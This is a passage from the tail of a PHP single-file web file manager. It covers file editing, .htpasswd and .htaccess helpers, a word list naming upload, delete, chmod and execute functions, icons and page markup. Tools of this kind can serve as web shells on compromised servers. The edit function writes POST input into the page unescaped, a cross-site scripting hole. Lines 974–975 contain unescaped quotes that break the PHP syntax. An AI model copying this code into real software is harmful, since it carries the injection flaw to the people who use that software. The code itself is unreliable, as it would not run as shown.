938 <option value="file">' . word('file') . '</option>
939 <option value="directory">' . word('directory') . '</option>
940 </select>
941 <input type="text" name="create_name" onfocus="activate(\'create\')" />
942 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
943 </td>
944</tr>
945';
946}
947function edit ($file) {
948 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
949 html_header();
950 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
951<form action="' . $self . '" method="post">
952<table class="dialog">
953<tr>
954<td class="dialog">
955 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
956 if (array_key_exists('content', $_POST)) {
957 echo $_POST['content'];
958 } else {
959 $f = fopen($file, 'r');
960 while (!feof($f)) {
961 echo html(fread($f, 8192));
962 }
963 fclose($f);
964 }
965 if (!empty($_POST['user'])) {
966 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
967 }
968 if (!empty($_POST['basic_auth'])) {
969 if ($win) {
970 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
971 } else {
972 $authfile = $directory . $htpasswd;
973 }
974 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
975 echo 'AuthUserFile "' . html($authfile) . ""\n";
976 echo 'Require valid-user';
977 }
978 echo '</textarea>
979 <hr />
980';
981 if ($apache && basename($file) == $htpasswd) {
982 echo '
983 ' . word('user') . ': <input type="text" name="user" />
984 ' . word('password') . ': <input type="password" name="password" />
985 <input type="submit" value="' . word('add') . '" />
986 <hr />
987';
988 }
989 if ($apache && basename($file) == $htaccess) {
990 echo '
991 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
992 <hr />
993';
994 }
995 echo '
996 <input type="hidden" name="action" value="edit" />
997 <input type="hidden" name="file" value="' . html($file) . '" />
998 <input type="hidden" name="dir" value="' . html($directory) . '" />
999 <input type="reset" value="' . word('reset') . '" id="red_button" />
1000 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1001</td>
1002</tr>
1003</table>
1004<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1005</form>
1006';
1007 html_footer();
1008}
1009function spacer () {
1010 global $cols;
1011 echo '<tr>
1012 <td colspan="' . $cols . '" style="height: 1em"></td>
1013</tr>
1014';
1015}
1016function textfieldsize ($content) {
1017 $size = strlen($content) + 5;
1018 if ($size < 30) $size = 30;
1019 return $size;
1020}
1021function request_dump () {
1022 foreach ($_REQUEST as $key => $value) {
1023 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1024 }
1025}
1026function html ($string) {
1027 global $charset;
1028 return htmlentities($string, ENT_COMPAT, $charset);
1029}
1030function word ($word) {
1031 global $words, $word_charset;
1032 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1033}
1034function phrase ($phrase, $arguments) {
1035 global $words;
1036 static $search;
1037 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1038 for ($i = 0; $i < sizeof($arguments); $i++) {
1039 $arguments[$i] = nl2br(html($arguments[$i]));
1040 }
1041 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1042 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1043}
1044function getwords ($lang) {
1045 global $word_charset, $date_format;
1046 switch ($lang) {
1047 case 'en':
1048 default:
1049 $date_format = 'n/j/y H:i:s';
1050 $word_charset = 'ISO-8859-1';
1051 return array(
1052'directory' => 'Directory',
1053'file' => 'File',
1054'filename' => 'Filename',
1055'size' => 'Size',
1056'permission' => 'Permission',
1057'owner' => 'Owner',
1058'group' => 'Group',
1059'other' => 'Others',
1060'functions' => 'Functions',
1061'read' => 'read',
1062'write' => 'write',
1063'execute' => 'execute',
1064'create_symlink' => 'create symlink',
1065'delete' => 'delete',
1066'rename' => 'rename',
1067'move' => 'move',
1068'copy' => 'copy',
1069'edit' => 'edit',
1070'download' => 'download',
1071'upload' => 'upload',
1072'create' => 'create',
1073'change' => 'change',
1074'save' => 'save',
1075'set' => 'set',
1076'reset' => 'reset',
1077'relative' => 'Relative path to target',
1078'yes' => 'Yes',
1079'no' => 'No',
1080'back' => 'back',
1081'destination' => 'Destination',
1082'symlink' => 'Symlink',
1083'no_output' => 'no output',
1084'user' => 'User',
1085'password' => 'Password',
1086'add' => 'add',
1087'add_basic_auth' => 'add basic-authentification',
1088'uploaded' => '"[%1]" has been uploaded.',
1089'not_uploaded' => '"[%1]" could not be uploaded.',
1090'already_exists' => '"[%1]" already exists.',
1091'created' => '"[%1]" has been created.',
1092'not_created' => '"[%1]" could not be created.',
1093'really_delete' => 'Delete these files?',
1094'deleted' => "These files have been deleted:\n[%1]",
1095'not_deleted' => "These files could not be deleted:\n[%1]",
1096'rename_file' => 'Rename file:',
1097'renamed' => '"[%1]" has been renamed to "[%2]".',
1098'not_renamed' => '"[%1] could not be renamed to "[%2]".',
1099'move_files' => 'Move these files:',
1100'moved' => "These files have been moved to \"[%2]\":\n[%1]",
1101'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
1102'copy_files' => 'Copy these files:',
1103'copied' => "These files have been copied to \"[%2]\":\n[%1]",
1104'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
1105'not_edited' => '"[%1]" can not be edited.',
1106'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
1107'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
1108'saved' => '"[%1]" has been saved.',
1109'not_saved' => '"[%1]" could not be saved.',
1110'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
1111'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
1112'permission_for' => 'Permission of "[%1]":',
1113'permission_set' => 'Permission of "[%1]" was set to [%2].',
1114'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1115'not_readable' => '"[%1]" can not be read.'
1116 );
1117 }
1118}
1119function getimage ($image) {
1120 switch ($image) {
1121 case 'file':
1122 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
1123 case 'folder':
1124 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
1125 case 'hidden_file':
1126 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
1127 case 'link':
1128 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
1129 case 'smiley':
1130 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
1131 case 'arrow':
1132 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
1133 }
1134}
1135function html_header () {
1136 global $charset;
1137 echo <<<END
1138<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
1139 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1140<html xmlns="http://www.w3.org/1999/xhtml">
1141<head>
1142<meta http-equiv="Content-Type" content="text/html; charset=$charset" />
1143<title></title>
1144<style type="text/css">
1145body { font: small sans-serif; text-align: center }
1146img { width: 17px; height: 13px }
1147a, a:visited { text-decoration: none; color: navy }
1148hr { border-style: none; height: 1px; background-color: silver; color: silver }
1149#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
1150#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
1151.listing th, .listing td { padding: 1px 3pt 0 3pt }
1152.listing th { border: 1px solid silver }
1153.listing td { border: 1px solid #ddd; background: white }
1154.listing .checkbox { text-align: center }
1155.listing .filename { text-align: left }
1156.listing .size { text-align: right }
1157.listing .permission_header { text-align: left }
1158.listing .permission { font-family: monospace }
1159.listing .owner { text-align: left }
1160.listing .group { text-align: left }
1161.listing .functions { text-align: left }
1162.listing_footer td { background: #eee; border: 1px solid silver }
1163#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
1164#directory { background: #eee; border: 1px solid silver }
1165#upload { padding-top: 1em }
1166#create { padding-bottom: 1em }
1167.small, .small option { font-size: x-small }
1168textarea { border: none; background: white }
1169table.dialog { margin-left: auto; margin-right: auto }
1170td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
1171#permission { margin-left: auto; margin-right: auto }
1172#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
1173td.permission_action { text-align: right }
1174#symlink { background: #eee; border: 1px solid silver }
1175#symlink td { text-align: left; padding: 3pt }
1176#red_button { width: 120px; color: #400 }
1177#green_button { width: 120px; color: #040 }
1178#error td { background: maroon; color: white; border: 1px solid silver }
1179#notice td { background: green; color: white; border: 1px solid silver }
1180#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
1181code { font-size: 12pt }
1182td { white-space: nowrap }
1183</style>
1184<script type="text/javascript">
1185<!--
1186function activate (name) {
1187 if (document && document.forms[0] && document.forms[0].elements['focus']) {
1188 document.forms[0].elements['focus'].value = name;
1189 }
1190}
1191//-->
1192</script>
1193</head>
1194<body>
1195END;
1196}
1197function html_footer () {
1198 echo <<<END
1199</body>
1200</html>
1201END;
1202}
1203function notice ($phrase) {
1204 global $cols;
1205 $args = func_get_args();
1206 array_shift($args);
1207 return '<tr id="notice">
1208 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
1209</tr>
1210';
1211}
1212function error ($phrase) {
1213 global $cols;
1214 $args = func_get_args();
1215 array_shift($args);
1216 return '<tr id="error">
1217 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
1218</tr>
1219';
1220}
1221?>